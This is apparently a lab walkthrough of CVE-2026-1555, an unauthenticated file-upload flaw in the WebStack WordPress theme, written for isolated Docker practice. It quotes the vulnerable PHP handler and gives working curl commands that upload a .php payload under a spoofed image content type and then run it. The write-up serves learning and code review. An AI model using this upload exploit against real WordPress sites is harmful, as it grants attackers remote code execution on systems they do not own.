CVE-2026-1555: WebStack WordPress Theme Unauthenticated File Upload RCE
Updated August 27, 2026 · Written by PWNMI — see About.
An allowlist that's declared but never enforced is functionally the same as having no allowlist at all — the code just doesn't know it yet. WebStack is a WordPress theme (a "navigation/directory" style theme for building link-hub sites). CVE-2026-1555 is an unauthenticated arbitrary file upload in its own AJAX image-upload handler, reachable by anyone, no login required, and it leads directly to remote code execution.
This lab uses the actual vulnerable theme source at the exact affected tag, running fully isolated with no ports exposed beyond the Docker host itself. Affects WebStack through 1.2024. Theme source: owen0o0/WebStack.
What you'll practice: spotting validation code that's present in the source but never actually wired into the control flow, using a spoofed Content-Type to get a .php file treated as an image by a careless handler, and confirming real code execution — not just a successfully-served file — by making the payload compute something instead of echoing a static string.
Set up the lab
New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.
Get the lab files from pwnmihq/resources, including the theme source itself — bundled directly so this lab needs no external download:
git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2026-1555
cd cve-labs/CVE-2026-1555
docker compose up -d
This brings up MySQL, WordPress, and a one-shot wpcli container that installs WordPress and activates the WebStack theme. Wait for the provisioner to finish:
until [ "$(docker inspect $(docker compose ps -qa wpcli) --format '{{.State.Status}}')" = "exited" ]; do sleep 2; done
docker compose logs wpcli
No ports are published — capture the container and its address, and use both in every command below:
CONTAINER=$(docker compose ps -q wordpress)
IP=$(docker inspect $CONTAINER --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')
The container's IP is reachable directly from the Docker host over the lab's bridge network, so plain curl from your shell works — no need to publish ports or exec into another container.
Understanding the vulnerability
WebStack registers its image-upload handler on both wp_ajax_img_upload and wp_ajax_nopriv_img_upload — the nopriv hook exists specifically so logged-out visitors can trigger it, which is by itself a normal WordPress pattern, not the bug. The bug is in what the handler does once a request lands, in inc/ajax.php:
function io_img_upload(){
$extArr = array("jpg", "png", "jpeg");
$file = $_FILES['files'];
if ( !empty( $file ) ) {
$wp_upload_dir = wp_upload_dir();
$basename = $file['name'];
$baseext = pathinfo($basename, PATHINFO_EXTENSION);
$dataname = date("YmdHis_").substr(md5(time()), 0, 8) . '.' . $baseext;
$filename = $wp_upload_dir['path'] . '/' . $dataname;
rename( $file['tmp_name'], $filename );
// ... wp_insert_attachment(), then the JSON success response
}
}
Look closely at $extArr. It reads exactly like the start of a validation check — a list of extensions someone intended to allow. It's declared, and then never referenced again anywhere in the function. $baseext is pulled straight from the attacker-controlled $file['name'] and appended directly onto the generated filename, with no comparison against $extArr, no MIME-type check on the actual file contents, nothing. rename() then moves the uploaded temp file into the public uploads directory using that attacker-chosen extension, unmodified.
The filename prefix (date("YmdHis_") . substr(md5(time()), 0, 8)) isn't a security control either — it's just there to avoid collisions between concurrent uploads. It's predictable enough (current timestamp plus an MD5 of that same timestamp) that an attacker doesn't even need to guess it: the handler hands the full resulting URL straight back in its JSON response.
The result: upload a file named shell.php with a spoofed image/png content type, and the server writes it into wp-content/uploads/ exactly as named, then executes it as PHP the moment it's requested.
Exploitation
Build a PHP payload that proves real code execution rather than just a static echo — this one computes a value server-side:
mkdir -p /tmp/poc-payload
echo '<?php echo "CVE_2026_1555_RCE_CONFIRMED:" . (1337*2); ?>' > /tmp/poc-payload/shell.php
POST it to the unauthenticated upload endpoint, spoofing the content type so it reads as an image on the wire while keeping the .php filename:
curl -s -X POST \
-F "action=img_upload" \
-F "files=@/tmp/poc-payload/shell.php;type=image/png;filename=shell.php" \
"http://$IP/wp-admin/admin-ajax.php"
The handler accepts it and hands back the live URL, extension intact:
{"status":1,"msg":"The image is added successfully","data":{"id":5,
"src":"http:\/\/wordpress\/wp-content\/uploads\/2026\/08\/20260827091500_a1b2c3d4.php",
"title":"shell.php"}}
Fetch that URL back — same host, same path, requested directly by IP:
curl -s "http://$IP/wp-content/uploads/2026/08/20260827091500_a1b2c3d4.php"
A response of CVE_2026_1555_RCE_CONFIRMED:2674 is the proof: 1337*2 was computed on the server, so this can only be the PHP interpreter actually running the uploaded file, not a static file being served back verbatim. From here, the payload is a normal unauthenticated PHP shell with the full permissions of the web server user — full remote code execution, zero prior access required.
Cleanup
The exploit's only artifact on the target is the uploaded file itself and the WordPress media-library attachment record wp_insert_attachment() creates for it — no account was created, no configuration changed, no existing data overwritten. On a real target, remove both: delete the uploaded .php file from wp-content/uploads/, and delete the corresponding attachment post from the WordPress database (wp post delete <attach_id> --force via wp-cli, or through Media Library in /wp-admin/ if you still have access) so the artifact doesn't linger as an indexed media item. If the shell was used to establish any further persistence (a second webshell, a modified theme file, a new admin user), that needs its own separate cleanup — this section only covers what the upload primitive itself leaves behind.
The /tmp/poc-payload/shell.php file created locally by this walkthrough is a verification artifact, not part of the CVE — remove it with rm -rf /tmp/poc-payload.
Tear the lab down when you're done:
docker compose down -v
Lessons worth keeping
- A validation list that's declared but never checked against provides zero protection.
$extArrin this code reads like a safeguard on a quick skim — that's exactly why this class of bug survives code review. The question worth asking of any allowlist/blocklist in code you're reviewing isn't "does this exist," it's "is it actually compared against anything before the dangerous operation runs." rename()ing an uploaded temp file directly into a web-served directory is a file-extension trust decision, not a filesystem operation. The moment an attacker-controlled string becomes part of a path that's later requested over HTTP, the extension on that string determines whether the webserver treats the result as static content or as code to execute.- A spoofed
Content-Typeheader only works because nothing on the server side re-derives the real file type. Trusting the client-supplied MIME type (used here inpost_mime_typeand nowhere else) instead of inspecting file contents (magic bytes,finfo, or re-encoding through an image library) is a second, independent gap layered on top of the missing extension check.
Next step
For another unauthenticated WordPress upload bug where the vulnerable precondition is a missing directory rather than a missing check, see CVE-2026-3141 (FormGent). For the tool doing the actual request-crafting in this walkthrough, see the curl cheatsheet.
Get new write-ups in your inbox
New roadmaps, tool walkthroughs, and lab write-ups. No spam. Unsubscribe anytime.